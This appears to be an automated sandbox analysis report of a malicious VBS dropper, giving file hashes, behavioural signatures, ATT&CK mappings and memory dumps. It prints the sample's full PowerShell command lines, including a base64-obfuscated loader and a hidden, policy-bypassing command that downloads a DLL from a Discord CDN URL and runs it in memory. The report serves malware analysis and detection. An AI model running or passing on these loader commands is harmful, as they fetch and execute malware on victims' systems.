2d04a0d8fac45912b00ddc206423b2a0536e2a035642729535852f6d163946ee

General

Target

tmpuB1xoC.vbs
Size

757KB
MD5

9dc5849357ad8c24dee16b6103c76e07
SHA1

71934dc525d7cff4d493a5737d34188dd1906ec4
SHA256

2d04a0d8fac45912b00ddc206423b2a0536e2a035642729535852f6d163946ee
SHA512

127bc5c32c8811771d2acbeebe1675b64cadae777158e55f10ec724a92396a70ce67c451443470e1eb630834f916a76c8f4c080f2a431119d6fc40e204c297d3

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://cdn.discordapp.com/attachments/979582020927774773/980218074567421972/dl.txt

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1464 powershell.exe
5 1464 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1528 powershell.exe
1464 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1528 powershell.exe
Token: SeDebugPrivilege 1464 powershell.exe

flow	pid	process
4	1464	powershell.exe
5	1464	powershell.exe

pid	process
1528	powershell.exe
1464	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeDebugPrivilege	1464	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 288 wrote to memory of 1528	288	WScript.exe	powershell.exe
PID 288 wrote to memory of 1528	288	WScript.exe	powershell.exe
PID 288 wrote to memory of 1528	288	WScript.exe	powershell.exe
PID 1528 wrote to memory of 1464	1528	powershell.exe	powershell.exe
PID 1528 wrote to memory of 1464	1528	powershell.exe	powershell.exe
PID 1528 wrote to memory of 1464	1528	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tmpuB1xoC.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $CglO = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEMAbwBwAHkA☈☈☈wB0AGEAcgB0AH☈☈☈AcABSAG8AZABhAC☈☈☈AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBTAHkAcwB0AG☈☈☈AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AOQA3ADkANQA4ADIAMAAyADAAOQAyADcANwA3ADQANwA3ADMALwA5ADgAMAAyADEAOAAwADcANAA1ADYANwA0ADIAMQA5ADcAMgAvAGQAbAAuAHQAeAB0ACcAKQApADsAWwBTAHkAcwB0AG☈☈☈AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAeABLAHYASwBrAH☈☈☈ATgBaAC4AVQBHAGwAeQBtAHoAVQBnACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBVAEQAcwBTAGkARABiAGIAJwApAC4ASQBuAHYAbwBrAG☈☈☈AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAZgAyADEAOABjAGIAMQA0AGIAMQBkADMALQBiAD☈☈☈ANgBiAC0ANwBlAGQANAAtADgAMQBjAD☈☈☈ALQBlADkAMwA3ADIANgBjAGYAPQBuAG☈☈☈AawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AcwBvAGQAbwByAHQAYwBlAGwAZQAwADIAJQBwAG0AbwBjAC8AbwAvAG0AbwBjAC4AdABvAHAAcwBwAHAAYQAuAG8AYwBpAG4AbwByAHQAYwBlAGwAZQAtAHAAbQBvAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAG☈☈☈AbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAG☈☈☈AcgBpAGYALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwBWAF☈☈☈ANAA1AHYAeQAnACAAKQApAA==';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $CglO.replace('☈☈☈','U') ) );$OWjuxD = $OWjuxD.replace('%CopyStartupRoda%', 'C:\Users\Admin\AppData\Local\Temp\tmpuB1xoC.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1528

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\tmpuB1xoC.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://cdn.discordapp.com/attachments/979582020927774773/980218074567421972/dl.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('f218cb14b1d3-b56b-7ed4-81c5-e93726cf=nekot&aidem=tla?txt.sodortcele02%pmoc/o/moc.topsppa.ocinortcele-pmoc/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $RodaCopy , 'VU45vy' ))"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1464

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
58552db42a0071c09fee97a2d1df34a5

SHA1
81658221c3147744db0b72eaa67b1ccc54e72cdc

SHA256
e6b7438ec68586f7bc5daf5bab27b1750491b077a3fd63c41c7469bc7f73765e

SHA512
9ff44d66eee1b3625e5165b34dfd98e232d5518f23da026178f864929f5fb57abb5cf554d8db5c900c097d84cc47a682438d699e577bc957bb0caae2b66f2a5e

Download Submit
memory/288-54-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmp

Filesize
8KB

Download
memory/1464-68-0x000000001B780000-0x000000001BA7F000-memory.dmp

Filesize
3.0MB

Download
memory/1464-65-0x000007FEF2A00000-0x000007FEF355D000-memory.dmp

Filesize
11.4MB

Download
memory/1464-71-0x0000000002A3B000-0x0000000002A5A000-memory.dmp

Filesize
124KB

Download
memory/1464-70-0x0000000002A34000-0x0000000002A37000-memory.dmp

Filesize
12KB

Download
memory/1464-61-0x0000000000000000-mapping.dmp

Download
memory/1464-69-0x0000000002A3B000-0x0000000002A5A000-memory.dmp

Filesize
124KB

Download
memory/1464-64-0x000007FEF3560000-0x000007FEF3F83000-memory.dmp

Filesize
10.1MB

Download
memory/1464-67-0x0000000002A34000-0x0000000002A37000-memory.dmp

Filesize
12KB

Download
memory/1528-66-0x000000000257B000-0x000000000259A000-memory.dmp

Filesize
124KB

Download
memory/1528-59-0x0000000002574000-0x0000000002577000-memory.dmp

Filesize
12KB

Download
memory/1528-55-0x0000000000000000-mapping.dmp

Download
memory/1528-57-0x000007FEF3560000-0x000007FEF3F83000-memory.dmp

Filesize
10.1MB

Download
memory/1528-60-0x000000001B7D0000-0x000000001BACF000-memory.dmp

Filesize
3.0MB

Download
memory/1528-58-0x000007FEF2A00000-0x000007FEF355D000-memory.dmp

Filesize
11.4MB

Download
memory/1528-72-0x0000000002574000-0x0000000002577000-memory.dmp

Filesize
12KB

Download
memory/1528-73-0x000000000257B000-0x000000000259A000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing